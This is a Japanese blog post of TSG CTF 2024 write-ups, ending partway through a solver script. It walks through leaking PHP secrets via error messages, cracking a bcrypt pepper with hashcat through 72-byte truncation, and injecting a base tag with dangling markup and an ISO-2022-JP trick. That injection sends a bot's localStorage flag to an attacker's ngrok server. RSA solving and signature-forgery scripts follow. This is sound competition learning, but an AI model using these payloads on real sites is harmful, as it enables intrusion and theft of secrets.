はまやんはまやんはまやん

hamayanhamayan's blog

TSG CTF 2024 Writeups

Security

[web] I Have Been Pwned

phpで書かれたサイトが与えられる。フラグはmypage.phpにあり、以下のように$pepper1、$pepper2、$admin_passwordが必要。

<?php
$pepper1 = "____REDACTED____";
$pepper2 = "____REDACTED____";
assert(strlen($pepper1) === 16 && strlen($pepper2) === 16);
$admin_password = "__REDACTED_____";
assert(strlen($admin_password) === 15);

$flag = "TSGCTF{__REDACTED__}";


if (isset($_COOKIE["auth"])) {
    $auth = $_COOKIE["auth"];
    if ($auth === "admin") {
        if (password_verify($pepper1 . $auth . $admin_password . $pepper2, base64_decode($_COOKIE["hash"]))) {
            $msg = "Hello admin! Flag is " . $flag . "\n";
        } else {
            $msg = "I know you rewrote cookies!";
        }

それで、この3つの内部変数を頑張って求めるのだが、これは他に与えられているindex.phpの以下の部分を使って全て求めることができる！

<?php
$pepper1 = "____REDACTED____";
$pepper2 = "____REDACTED____";
assert(strlen($pepper1) === 16 && strlen($pepper2) === 16);
$admin_password = "__REDACTED_____";
assert(strlen($admin_password) === 15);

$msg = "";
if (isset($_POST["auth"]) and isset($_POST["password"])) {
    $success = false;
    if ($_POST["auth"] === "guest") {
        $success = true;
    } else if(($_POST["auth"] === "admin") and hash_equals($admin_password, $_POST["password"])) {
        // $success = true;
        $msg = "Sorry, the admin account is currently restricted from new logins. Please use a device that is already logged in.";
    } else {
        $msg = "Invalid username or password.";
    }

    if ($success) {
        $hash = password_hash($pepper1 . $_POST["auth"] . $_POST["password"] . $pepper2, PASSWORD_BCRYPT);
        setcookie("auth", $_POST["auth"], time() + 3600*24);
        setcookie("hash", base64_encode($hash), time() + 3600*24);
        header("Location: mypage.php");
    }
}
?>

$admin_password

$admin_passwordが使われている部分を見てみると、

// index.php
} else if(($_POST["auth"] === "admin") and hash_equals($admin_password, $_POST["password"])) {

// mypage.php
if (password_verify($pepper1 . $auth . $admin_password . $pepper2, base64_decode($_COOKIE["hash"]))) {

の2か所しかないのだが、後半部分はフラグを得るためと一旦仮定すると前者の部分で$admin_passwordが取得できることになる。hash_equalsのphpページを見ても正しく使われているので、どうしたものかなと思ってガチャガチャやっていると、phpのエラーが抑止されず出力されていることに気が付く。エラー経由で漏洩させられないだろうか。hash_equalsに外部入力できるのは$_POST["password"]の部分なので更にガチャガチャやっていると以下のようにするとエラー経由で取得できる。

$ curl http://localhost:8080/ -X POST -d "auth=admin&password[]=ss"
<br />
<b>Fatal error</b>:  Uncaught TypeError: hash_equals(): Argument #2 ($user_string) must be of type string, array given in /var/www/html/index.php:13
Stack trace:
#0 /var/www/html/index.php(13): hash_equals('__REDACTED_____', Array)
#1 {main}
  thrown in <b>/var/www/html/index.php</b> on line <b>13</b><br />

passwordを配列にすれば型エラーが発生し、対応する行が表示され、内部変数を取得することができた！（phpがなぜ代入後の式でエラーを出しているのかは謎であるが）これで$admin_passwordがまず揃う。

$pepper1の先頭15bytes

これを出すアイデアが一生出なくて困っていた。$pepper1が使われているのが以下。

// index.php
$hash = password_hash($pepper1 . $_POST["auth"] . $_POST["password"] . $pepper2, PASSWORD_BCRYPT);

// mypage.php
if (password_verify($pepper1 . $auth . $admin_password . $pepper2, base64_decode($_COOKIE["hash"]))) {

下はフラグに繋がる部分なので上から$pepper1が得られるのだが、考えても一向に突破方法が分からない。

困っていると、チームメイトから$pepper1出せました！とのことで以下のやり方を教えてもらった。

$ curl http://[redacted]/ -X POST -d 'auth=guest&password=%00' --output -
<br />
<b>Fatal error</b>:  Uncaught ValueError: Bcrypt password must not contain null character in /var/www/html/index.php:21
Stack trace:
#0 /var/www/html/index.php(21): password_hash('PmVG7xe9ECBSgLU...', '2y')
#1 {main}
  thrown in <b>/var/www/html/index.php</b> on line <b>21</b><br />

ヌルバイトでエラーを起こせる！なるほど、そのベクトルを見逃していた。これを見ると、$pepper1の先頭15bytesを知ることができる。

$pepper1全体

$pepper1について後1byte特定する必要がある。これを解くには最近言及のあったbcryptの切り詰め問題典型を思い出す必要がある。以下の部分と関係がある。

$hash = password_hash($pepper1 . $_POST["auth"] . $_POST["password"] . $pepper2, PASSWORD_BCRYPT);

phpのpassword_hashを見ると、bcryptではpassword部分が最大 72 バイトまでに切り詰められるということが書いてある。上の実装では、$_POST["password"]を自由に設定することができるので、$_POST["password"]に長い入力を与えてやると、$pepper1 . $_POST["auth"] . $_POST["password"] . $pepper2が最大72バイトに切り詰められ、結果、$pepper2が使われないということが発生する。

$pepper1は16bytesで、$_POST["auth"]はこのパスに入るにはguestである必要があるため、5bytesなので、$_POST["password"]に51文字のaを入力すると、切り捨てられた結果は、

PmVG7xe9ECBSgLU[不明]guestaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

という形のbcryptになるはずである。こうなると不明な部分は1bytes分になるため十分オフラインクラック可能な探索母数になる。よって、auth=guest、password=aaa..[全体でaが51個]...aaaでhashを取得し、それを以下のようにhashcatでクラックすれば$pepper1全体を得ることができる。

$ hashcat -m 3200 -a 3 hash.txt -1 '?l?u?d' 'PmVG7xe9ECBSgLU?1guestaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' --force
hashcat (v6.2.6) starting

省略

$2y$10$7oI/sRmuIayyLLbEqFGnCeENsFMa/YzxqsPeS0IEwD9gqYGHzZE12:PmVG7xe9ECBSgLUAguestaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

$pepper2

残りは$pepper2である。これも使われている場所は$pepper1と同じであり、同様に以下の部分から取得可能である。

$hash = password_hash($pepper1 . $_POST["auth"] . $_POST["password"] . $pepper2, PASSWORD_BCRYPT);

password部分が[既知で伸長可能][無知で取得したい]という形になっているので、これは正にbcryptの切り詰め問題典型の形である。まず、auth=guest、password=aaa..[全体でaが50個]...aaaでhashを取得してみよう。するとハッシュを取るpassword部分は、

PmVG7xe9ECBSgLUAguestaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[$pepper2の1byte目]

のように切り詰められるはずである。この状況は前セクションの形と同様であるため、このハッシュ値をオフラインクラックすることで$pepper2の1byte目を求めることができる。

hashcat -m 3200 -a 3 hash.txt -1 '?l?u?d' 'PmVG7xe9ECBSgLUAguestaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?1' --force
->
$2y$10$3bsVQZo6b.NRfjjTrA0h6uWWc7lzdN8UMoyS6GrWqwe3sx5S0b2Ua:PmVG7xe9ECBSgLUAguestaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa8

8が出てきました。次にauth=guest、password=aaa..[全体でaが49個]...aaaとaを1つ減らします。すると、ハッシュを取るpassword部分は$pepper2の1byte目が分かっているので、

PmVG7xe9ECBSgLUAguestaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa8[$pepper2の2byte目]

となり、同様に1byteのみ不明な状態でハッシュを得ることができます。これもまたオフラインクラック可能です。これを順番に試していくと$pepper2を先頭から明らかにすることができ、全体を取得できます。

ゴール！

3つの内部変数の値が取れたので後はフラグを取ります！

[web] Cipher Preset Button

Javascriptで書かれたサイトが与えられ、localStorageに入っているフラグを得る問題です。クローラーは以下のような感じでfirefoxを使って、localStorageにフラグを入れて、指定の投稿/presets/:idを表示し、#generateボタンを押してくれます。

async function visit(path) {
  const target = new URL(path, process.env.SERVER_BASE_URL).toString()
  const page = await browser.newPage()
  await page.addInitScript(flag => {
    localStorage.setItem('key', flag)
  }, FLAG)
  await page.goto(target, { waitUntil: 'load', timeout: 2000 })
  await page.locator('#generate').click({ timeout: 2000 })
  await page.locator('#result').waitFor({ state: 'visible', timeout: 2000 })
  await page.close()
}

サイトの実装としては、まず厳しめのCSPがかかっています。

function cspMiddleware(req, res, next) {
  const nonce = crypto.randomBytes(16).toString('base64')
  res.nonce = nonce
  res.setHeader('Content-Security-Policy', `script-src 'nonce-${nonce}'; style-src 'nonce-${nonce}'; child-src 'self'; object-src 'none'`)
  next()
}

そして、クローラーが表示する/presets/:id部分の実装は以下の通りです。

function sanitizeHtml(str) {
  // tags for metadata
  if (/meta|link/i.test(str)) {
    return htmlEntities.encode(str)
  }
  return str
}
...
  .get('/presets/:id', guardError(async (req, res) => {
    const preset = await presetsCollection.findOne({ id: req.params.id })
    if (!preset) {
      res.statusCode = 404
      res.setHeader('Content-Type', 'text/plain')
      res.end('not found')
      return
    }
    const template = await readFile('./preset.tpl', 'utf-8')
    const titleElem = `<title>${sanitizeHtml(preset.name)} - preset</title>`
    const html = Mustache.render(template, {
      titleElem,
      name: preset.name,
      prefix: preset.prefix,
      jsStr: JSON.stringify(preset.prefix).replaceAll('<', '\\x3c'),
      nonce: res.nonce
    })
    res.setHeader('Content-Type', 'text/html')
    res.end(html)
  }))

metaタグとlinkタグをはじくsanitizeHtmlという関数が定義されているのと、Mustacheを使った出力がされています。テンプレート部分で一旦重要な所は以下の部分です。

<!DOCTYPE html>
<html lang="en">
<head>
  {{{ titleElem }}}
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
...
  <script type="module" nonce="{{ nonce }}">
    const prefix = {{{ jsStr }}}
…
    async function onClick() {
      const key = getKey()
      const result = encrypt(prefix, key)
      await fetch('/result', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ prefix, result: toHex(result) })
      })
      const resultElement = document.getElementById('result')
      resultElement.style.display = 'inline'
      resultElement.textContent = toHex(result)
    }
...

{{{ titleElem }}}と{{{ jsStr }}}が怪しいポイントですね。htmlタグをそのまま出力してくれます。{{{ titleElem }}}はnameからconst titleElem = `<title>${sanitizeHtml(preset.name)} - preset</title>`のようにタグが作られてheadタグ内部に埋め込まれ、{{{ jsStr }}}はJSON.stringify(preset.prefix).replaceAll('<', '\\x3c')のようにjsonにして（というより"ほにゃらら"の形にしているだけですが）</script>対策をして埋め込まれます。

また、クライアント側のjavascriptを見ると、ボタンをクリックすることで、localStorageに入ったkey(=flag)がprefixを使って暗号化され、その結果がPOST /resultに送られます。

このnameとprefixは、以下のエンドポイントから入力されます。

  .post('/preset', guardError(async (req, res) => {
    const { name, prefix } = req.body ?? {}
    if (typeof name !== 'string' || typeof prefix !== 'string') {
      sendJson(res, { message: 'invalid params' }, 400)
      return
    }
    if (name.length === 0) {
      sendJson(res, { message: 'name is empty' }, 400)
      return
    }
    if (prefix.length > 25) {
      sendJson(res, { message: 'prefix too long' }, 400)
      return
    }
    const id = nanoid()
    await presetsCollection.insertOne({ id, name, prefix })
    sendJson(res, { id })
  }))

nameには特に制限は無く、prefixは最大25文字入力できます。

baseタグを利用する

まず、思いついたのがbaseタグを使ったPOST /resultの乗っ取りでした。CSPで制限されていないのに加えて、sanitizeHtmlでも制限されていません。やってみましょう。プリフライトリクエストが飛んでしまうので、適当にこのように受け手を作り、ngrokで外部公開しておきます。

from flask import Flask, send_file, request
from flask_cors import CORS

app = Flask(__name__)
CORS(app) # Access-Control-Allow-Origin: *

@app.route('/result',methods=["POST"])
def post_result():
    print(request.get_data())
    return "ok"

if __name__ == '__main__':
    app.run(port=8181, debug=True)

次に、titleに</title><base href="https://[yours].ngrok-free.app/"><title>を入力してbaseタグを差し込みましょう。prefixは適当に上限のAを25個入力しておきます。この投稿をクローラーに踏ませると…

{"prefix":"AAAAAAAAAAAAAAAAAAAAAAAAA","result":"001500120006000200150007003a00050014000c000c0018006d006100350029002400610027002d002000260061002800321abb6574731571312354f462f6a0ba479b3a8aa5071948317dddfe192ed088593231760a4d337fb09f700d4d1051"}

こういうのが返ってきます！いいですね。

暗号を解く

クライアントサイドで暗号化をしてからPOST /resultへ送られています。実装は以下です。

    const prefix = {{{ jsStr }}}

    function generateRandomAsciiString(length) {
      const codes = [...Array(length).keys()].map(() => Math.floor(Math.random() * 95 + 32))
      return String.fromCharCode(...codes)
    }
    function getKey() {
      const savedKey = localStorage.getItem('key')
      if (savedKey !== null) {
        return savedKey
      }
      const newKey = generateRandomAsciiString(48)
      localStorage.setItem('key', newKey)
      return newKey
    }
    function generateRandomBytes(prefix, length) {
      const data = new Uint16Array(length)
      for (let i = 0; i < length; i++) {
        data[i] = i < prefix.length ? prefix.charCodeAt(i) : Math.floor(Math.random() * 65536)
      }
      return data
    }
    function toHex(arr) {
      // big endian
      return [...arr].map(x => x.toString(16).padStart(4, '0')).join('')
    }
    function encrypt(prefix, key) {
      const secret = generateRandomBytes(prefix, key.length)
      const result = new Uint16Array(key.length)
      for (let i = 0; i < key.length; i++) {
        result[i] = key.charCodeAt(i) ^ secret[i]
      }
      return result
    }

見ると、暗号化したいkeyと同じ長さのsecretを作成しXORで暗号化しています。secretはprefixを最初は使い、keyに対して長さが不足している場合はMath.floor(Math.random() * 65536)で補っています。先ほどの例だと、prefixとして25文字のAを入力していたのでsecretの最初の25文字は分かっています。以下のようにCyberChefで復号してみます。

https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Regex','string':'00'%7D,'',true,false,true,false)From_Hex('Auto')XOR(%7B'option':'UTF8','string':'A'%7D,'Standard',false)&input=MDAxNTAwMTIwMDA2MDAwMjAwMTUwMDA3MDAzYTAwMDUwMDE0MDAwYzAwMGMwMDE4MDA2ZDAwNjEwMDM1MDAyOTAwMjQwMDYxMDAyNzAwMmQwMDIwMDAyNjAwNjEwMDI4MDAzMjFhYmI2NTc0NzMxNTcxMzEyMzU0ZjQ2MmY2YTBiYTQ3OWIzYThhYTUwNzE5NDgzMTdkZGRmZTE5MmVkMDg4NTkzMjMxNzYwYTRkMzM3ZmIwOWY3MDBkNGQxMDUx&oeol=FF

ちゃんとダミーフラグの先頭が出てきましたね。ここでcompose.yamlをみてダミーフラグを確認してみると

- FLAG=TSGCTF{DUMMY, the flag is 48 bytes XXXXXXXXXXXX}

とあります。本当のフラグは48bytes分あるようです。

ここが問題です。prefixは最大25文字分しか入力できませんが、本当のフラグは48bytes分あります。できればprefixを48bytes分用意できれば全体が復号できますが、どうすれば良いでしょうか？

prefixを25文字より大きくする - Dangling Markup Injectionでmetaタグを潰す

自分はここでUnicodeガチャガチャをしてしまい数時間無駄にしてしまいましたが（本当にこれを治したい）、深堀するべきは{{{ titleElem }}}でした。改めて近辺を見返すと

  {{{ titleElem }}}
  <meta charset="UTF-8">

metaタグでUTF-8が指定されているのに気が付きました。prefixを25文字より大きくするために文字コードを変更するという手立てもありそうです。サーバーの応答を確認してもcharsetはありません。よって、このmetaタグをつぶすことができれば、文字コードの推定をブラウザに行わせることができそうです。そして、何の文字コードにするかというと流行りのISO-2022-JPです。

このt-chenさんのwriteupを見てみると、ISO-2022-JPが想定解のものでfirefoxを使ったボットになっているものもあったので、firefoxがクローラーに使われていることもこの案を支持している。

さて、どうやってmetaタグをつぶすかだが、ちょうど直前に埋め込みができることから、Dangling Markup Injectionという手法を使います。中途半端なHTMLタグをいれこむことで後ろのタグを取り込んだりする手法です。titleに以下のようなものを入れてみましょう。

</title><base href="https://[yours].ngrok-free.app/"><div hoge="

すると、divタグがうまく作用し後ろのmetaタグが取り込まれ、あと、細かいパースと調整はよく追っていないが、いい感じに調整されて、最終的にこれまでの動作を壊すことなく、<meta charset="UTF-8">の無効化に成功する。これでISO-2022-JPを差し込む土壌が整う。この状態で、prefixにISO-2022-JPのエスケープシーケンスを入れると、文字コード推定が走り、ISO-2022-JPとして解釈させることが可能になる。

prefixを25文字より大きくする - ISO-2022-JPを使う

prefixに色々入れてみて、いい感じに文字が増えるようなものを探していく。自分はガチャガチャやっていると\u001b(J\\\\\\\\\\\\\\\\\\\\\\とやると文字数を増やすことができた。出力時は25文字であるが、prefixとして47文字分確保できる。

ということで最終的に以下のようにPOST /presetに以下を送って投稿を作り、それをクローラーに読ませる。

{"name":"</title><base href=\"https://[yours].ngrok-free.app/\"><div hoge=\"","prefix":"\u001b(J\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"}

するといい感じにprefixとresultが返ってくるので、prefixをhexにしてsecretとして使って、resultにXORすると以下のようにフラグが得られる。

https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Regex','string':'00'%7D,'',true,false,true,false)From_Hex('Auto')XOR(%7B'option':'Hex','string':'a57530303162284aa5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5'%7D,'Standard',false)&input=MDBmMTAwMjYwMDc3MDA3MzAwNjUwMDI0MDA1MzAwNzIwMGM0MDBjNzAwOTcwMDlkMDA5NDAwOTAwMGMxMDA5MTAwOTUwMGQ5MDBkNzAwYzAwMGQ2MDBjMDAwZDEwMDg0MDBjYzAwYzMwMDg1MDBjMTAwOTkwMGY1MDA5MzAwOTAwMDk2MDA5NDAwOTcwMDkxMDA5MjAwOTQwMDk1MDBmYzAwZDkwMGM0MDBjNjAwOTIwMGM0MDBjNDAwOTEwMGQ4&oeol=FF

[crypto] Mystery of Scattered Key

以下のようなソースコードとprintの出力結果が提供される。

from Crypto.Util.number import getStrongPrime
from random import shuffle

flag = b'FAKE{THIS_IS_FAKE_FLAG}'


p = getStrongPrime(1024)
q = getStrongPrime(1024)

N = p * q
e = 0x10001
m = int.from_bytes(flag, 'big')
c = pow(m, e, N)


# "Aaaaargh!" -- A sharp, piercing scream shattered the silence.

p_bytes = p.to_bytes(128, 'big')
q_bytes = q.to_bytes(128, 'big')

fraction_size = 2
p_splitted = [int.from_bytes(p_bytes[i:i+fraction_size], 'big') for i in range(0, len(p_bytes), fraction_size)]
q_splitted = [int.from_bytes(q_bytes[i:i+fraction_size], 'big') for i in range(0, len(q_bytes), fraction_size)]

shuffle(p_splitted)
shuffle(q_splitted)


print(f'N = {N}')
print(f'c = {c}')
print(f'p_splitted = {p_splitted}')
print(f'q_splitted = {q_splitted}')

RSA暗号であるが、pとqが2bytes毎に区切られてシャッフルされて与えられる。何から始めようか。

p, qはどういう形になる？

\verb|p_splitted|と\verb|q_splitted|を正しい順番に入れ替えたものをpsとqsとすると、2bytes毎に区切られているので、p,qは以下のように書ける。

\displaystyle p = ps_0 * 2^0 + ps_1 * 2^{16} + ps_2 * 2^{32} + ... + ps_{63}2^{63*16} \\ q = qs_0 * 2^0 + qs_1 * 2^{16} + qs_2 * 2^{32} + ... + qs_{63}2^{63*16}

これを書いてみて眺めていると解法が浮かんできた。Nも2bytesごとに分割して考えてみると、まず、Nの下2bytesの結果はps_0とqs_0のみ影響を及ぼしていて、ps_1とqs_1以降はどんな値であっても関係ない。つまり、ps_0とqs_0を選択して掛け合わせた結果とNの両方の下2bytesを比較して一致しているものがps_0とqs_0として選択すべきものになる。一意に定まらない可能性もありそうだが、方針はよさそうなのでこのまま進めてみる。

ps_0とqs_0が確定した次にps_1とqs_1を更に決めようとすると、ps_0とqs_0とps_1とqs_1以外の要素は2^{32}以上になっているので、[tex:p = ps_0 * 20 + ps_1 * 2^{16}]と[tex:q = qs_0 * 20 + qs_1 * 2^{16}]を掛け合わせた結果とNの両方の下4bytesは一致しているはずである。よって、次は下4bytesを見ることでps_1とqs_1を確定させることができる。

この手順を下から順番にやればpsとqsを全て確定させることができる。無茶苦茶バグらせながら以下のソルバーを書いて解いた。

N = [redacted]
c = [redacted]
p_splitted = [redacted]
q_splitted = [redacted]
e = 0x10001

p = 0
q = 0

for i in range(64):
    print(f"turn {i}", len(p_splitted))
    found_p_i = -1
    found_q_i = -1
    for p_i in range(len(p_splitted)):
        for q_i in range(len(q_splitted)):
            pp = p_splitted[p_i] * 2**(16 * i)
            qq = q_splitted[q_i] * 2**(16 * i)
            mu = (p + pp) * (q + qq)
            mask = ((1 << (16 * (i+1))) - 1)
            if (N & mask) == (mu & mask):
                print('p_last', p_splitted[p_i])
                print('q_last', q_splitted[q_i])
                found_p_i = p_i
                found_q_i = q_i

    assert 0 <= found_p_i

    p += p_splitted[found_p_i] * 2**(16 * i)
    q += q_splitted[found_q_i] * 2**(16 * i)

    del p_splitted[found_p_i]
    del q_splitted[found_q_i]

print(f'p = {p}')
print(f'q = {q}')
print(f'N = {N}')

from Crypto.Util.number import long_to_bytes
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, N)))

[crypto] Feistel Barrier

以下のようなソースコードが与えられる。

from hashlib import sha256
from Crypto.Util.number import getStrongPrime
import os
k = 1024//8
h_len = 32


def mgf(seed,mask_len):
    if mask_len > 2**32:
        raise ValueError("mask too long")
    t = b''
    for i in range(mask_len//h_len+1):
        t += sha256(seed + i.to_bytes(4, 'little')).digest()
    return t[:mask_len]

def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

def encrypt(data, e,n):
    if len(data) > k - 2*h_len - 2:
        raise ValueError("data too long")
    L = b""
    IHash = sha256(L).digest()
    PS = b"\x00" * (k - len(data) - 2*h_len - 2)
    DB = IHash + PS + b"\x01" + data
    seed = os.urandom(h_len)
    dbMask = mgf(seed, k - h_len -1)
    maskedDB = xor(DB, dbMask)
    seedMask = mgf(maskedDB, h_len)
    maskedSeed = xor(seed, seedMask)
    EM = b"\x00" + maskedSeed + maskedDB
    m = int.from_bytes(EM, 'big')


    c = pow(m, e, n)
    return c.to_bytes(k, 'big')

def decrypt(c,n,d):
    m = pow(int.from_bytes(c, 'big'), d, n)
    EM = m.to_bytes(k, 'big')
    return EM

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
phi = (p-1)*(q-1)
e = 65537
d = pow(e, -1, phi)
flag = os.getenv("FLAG", "FAKECTF{THIS_IS_FAKE}")
flag = flag.encode()
chal = encrypt(flag, e, n)
print("n =", n)
print("e =", e)
print("chal =", chal.hex())


print("ciphertext:", end=" ")
c = input()
c = bytes.fromhex(c)
if c == chal:
    print("Challenge ciphertext will not be decrypted.")
print(decrypt(c,n,d).hex())

ざっくりと以下のような処理をしている。

ちゃんと説明すると大変なので、dataをDBという構造に入れてseedを元にXORでマスクして、それを元にseedをXORでマスクして、EMという構造にまとめてmを作っている。mはそのままではなくRSA暗号化した状態chalで渡される。このとき、n,e,chalが与えられる。その後、chalではない任意の暗号文を1度だけ復号化することができる。

2段階で解いていこう。

chalを復号化する

chalをRSA復号化してm、つまり、EMを手に入れよう。これはRSA暗号の準同型性を利用する。

\displaystyle chal = m^e \,\verb|mod|\,n

これがchalの形で、これを復号化したいがそのまま渡すことができないので、これを暗号化したまま2倍してみよう。

\displaystyle c2 = 2^e \,\verb|mod|\,n

というのをchalに掛け合わせてみよう。

\displaystyle chal * c2 = m^e 2^e \,\verb|mod|\,n \\ = (2m)^e \,\verb|mod|\,n

いい感じにまとめることができ、2mの暗号文が得られる。これはchalと等しくないため、1回だけ使える復号器に渡すことができる。結果として2mが返ってくるので2で割ってやればm、つまり、EMが得られる。

EMからseedを求め、DBを求める

DBからseedを使ってEMを求める計算は一部sha256計算が使われているが、逆計算が可能である。よって、EMからseedを計算し、そこからマスクされたDBからDBを計算する。恐らく書いて説明するよりもコードの方が明瞭なので細かく書かないが、A xor B = CがA = C xor Bと変換できることを考慮すれば逆計算はそれほど難しくない。

以下のようなコードで解けます！

n = [set from the response]
e = 65537
chal = [set from the response]

chal2 = (chal * pow(2, e, n)) % n
print(hex(chal2)) ## pass it to the server manually

from hashlib import sha256
from Crypto.Util.number import *
import os
k = 1024//8
h_len = 32

def mgf(seed,mask_len):
    if mask_len > 2**32:
        raise ValueError("mask too long")
    t = b''
    for i in range(mask_len//h_len+1):
        t += sha256(seed + i.to_bytes(4, 'little')).digest()
    return t[:mask_len]

def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

# set it manually
chal2_dec = [set from the response] // 2
EM = long_to_bytes(chal2_dec)

maskedSeed = EM[:32]
maskedDB = EM[32:]

seedMask = mgf(maskedDB, h_len)
seed = xor(seedMask, maskedSeed)

dbMask = mgf(seed, k - h_len -1)
DB = xor(dbMask, maskedDB)

print(DB)

[crypto] CONPASS 終了後に解けた

20分ほど間に合わず…

ざっくり書くと、4セットRSA署名が用意され、全ての署名をpassしながら、かつ、指定の値を入力する問題。

署名生成は以下のような感じ。

def sign(data: str,private_key):
    data_int = int.from_bytes(data.encode(),'little')
    sign = pow(data_int,private_key["d"],private_key["n"]).to_bytes(128,'little').hex()
    return sign

@app.get("/sat0")
async def sat0():
    
    ut = int(time.time())
    data = {"time": ut-int(distance(positions["sat0"],positions["user"]))}
    data_json = json.dumps(data)
    signature = sign(data_json,keys[0]["private_key"])
    return {"data":data_json.encode().hex(), "sign":signature, "public_key":keys[0]["public_key"]}

時間と2点の距離を元にtimeを含むjsonを作り、RSA署名をしている。

署名検証とフラグ取得は以下のような感じ。

def verify(data: str,signature: str,public_key):
    data_int = int.from_bytes(bytes.fromhex(data),'little')
    sign_int = int.from_bytes(bytes.fromhex(signature),'little')
    return data_int%public_key["n"] == pow(sign_int,public_key["e"],public_key["n"])

def is_in_area(data):
    try:
        ut = time.time()
        data_sat0 = json.loads(my_decoder(data.sat0["data"]))
        data_sat1 = json.loads(my_decoder(data.sat1["data"]))
        data_sat2 = json.loads(my_decoder(data.sat2["data"]))
        data_sat3 = json.loads(my_decoder(data.sat3["data"]))
        if (-1 <= (ut - data_sat0["time"]) - distance(positions["sat0"],positions["flag"]) <= 20) and (-1 <= (ut - data_sat1["time"]) - distance(positions["sat1"],positions["flag"]) <= 20) and (-1 <= (ut - data_sat2["time"]) - distance(positions["sat2"],positions["flag"]) <= 20) and (-1 <= (ut - data_sat3["time"]) - distance(positions["sat3"],positions["flag"]) <= 20):
            return True
        else:
            return False
    except:
        return False

def my_decoder(hex_data):
    str_data = bytes.fromhex(hex_data).decode('utf-8',errors = 'ignore')
    #trim illegal characters
    str_data = ''.join(filter(lambda x: x in valid_chars, str_data))
    return str_data

@app.post("/auth")
async def auth(auth_data: AuthData):
    try:
        valid = [
            verify(auth_data.sat0["data"],auth_data.sat0["sign"],keys[0]["public_key"]),
            verify(auth_data.sat1["data"],auth_data.sat1["sign"],keys[1]["public_key"]),
            verify(auth_data.sat2["data"],auth_data.sat2["sign"],keys[2]["public_key"]),
            verify(auth_data.sat3["data"],auth_data.sat3["sign"],keys[3]["public_key"])
        ]
    except:
        return {"error": "bad request"}
    if all(valid):
        if is_in_area(auth_data):
            return {"flag": flag}
        else:
            return {"error": "you are not with the flag"}
    else:
        return {"error": "date not properly signed"}

POST /authでは4つのRSA署名検証に成功し、かつ、is_in_area関数で行われている条件に合致すればフラグが得られる。

弱点

以下のコードに気が付く点はないでしょうか。

def verify(data: str,signature: str,public_key):
    data_int = int.from_bytes(bytes.fromhex(data),'little')
    sign_int = int.from_bytes(bytes.fromhex(signature),'little')
    return data_int%public_key["n"] == pow(sign_int,public_key["e"],public_key["n"])

一見問題無さそうですが…

data_int%public_key["n"] ここです！

data_intが%nされて署名検証に回されています。つまり、data_intは+k*nされても署名が通ってしまうということです。そして、検証後のコードを見るとdataは%nされず、入力されたものがそのまま使われています。なので、GET /sat?経由で手に入れたdata, signを利用すると、任意のdata + k*nに対してsignを活用することができます。

%nしたときにdataになるような希望のjsonを作る

作りたいjsonは

{"time": [希望の時間]}

こういう形ですが、これをintにしたときに%nをしてdataになるように調整するのは難しそうです。なので、適当な文字列を挟むことで調整することにしましょう。代わりに以下のようなjsonを考えます。

{"time": [希望の時間], "gomi": "[調整用文字列]"}

[調整用文字列]をうまく調整することでjsonをintにしたときに%nをしてdataになるようにしていきます。[調整用文字列]はnの大きさに合わせて128bytes(1024bits)分用意します。ここを全探索して見つけていくのは大変なので、計算しましょう。

※ 注意ですが、ここから数式を書いていきますが、分かりやすさのためにエンディアンを逆にしています！
※ 実装では逆のエンディアンになっていて、そうじゃないと解けないので注意です！
※ 理解のしやすさのためにエンディアンを逆にしています！
※ 実装では逆にしてください！
※ 実装は！逆！概念理解のために逆にしてない！

jsonの構造を考えると、以下のようにdataの数値を計算することができます。[希望の時間]として適当に13372024と書いています。

\displaystyle \verb|prefix| = \verb|bytes_to_long('{"time": 13372024, "gomi": "')| \\ \verb|mid| = \verb|求めたい文字列| \\ \verb|postfix| = \verb|bytes_to_long('"}')|

とすると、dataは

\displaystyle \verb|data| = \verb|prefix| * 2^{8*(128+2)} + \verb|mid| * 2^{16} + \verb|postfix|

と書くことができます。これがmod nで等しくなれば良いので、

\displaystyle \verb|data| = \verb|prefix| * 2^{8*(128+2)} + \verb|mid| * 2^{16} + \verb|postfix| \,\verb|mod|\,n \\ \verb|mid| * 2^{16} = \verb|data| - \verb|prefix| * 2^{8*(128+2)} - \verb|postfix| \,\verb|mod|\,n \\ \verb|mid| = \frac{\verb|data| - \verb|prefix| * 2^{8*(128+2)} - \verb|postfix|}{2^{16}} \,\verb|mod|\,n

と書くことができ、midを計算することができます。これにより全探索しなくても効果的にsignが一致し、かつ、望むtimeが入ったjsonを作成することができます。

この時計算したmidはbytes表現にしたときにascii文字にならない場合がありますが、これはサーバー側でjsonにする前に呼ばれるmy_decoder関数で取り除かれているので問題ありません。しかし、一部"や\になってしまうasciiが出てきた場合はjsonとして解釈するときにエラーになってしまい利用することができません。

なので、自分の実装ではエラーになるかどうかチェックをしてエラーになった場合は、調整用の文字列を入れているgomiの名前をaomi, bomi, comi, ...のように変えてエラーにならないものを探し当てて使うように実装しています。

実装

上の説明と実際のエンディアンが逆なので逆転させて書いた実装が以下です。test.pyを改造して作っています。目的のtimeを作るのに必要な差分をdiffとして定義しているのと、手元とサーバーとのタイムラグがあって刺さらなかったのでtimelagを適当に刺さるように調整しました。

import requests
import json
import time
import math
import string

from Crypto.Util.number import *

positions = {
    "user": [3861, -67500, 50947],
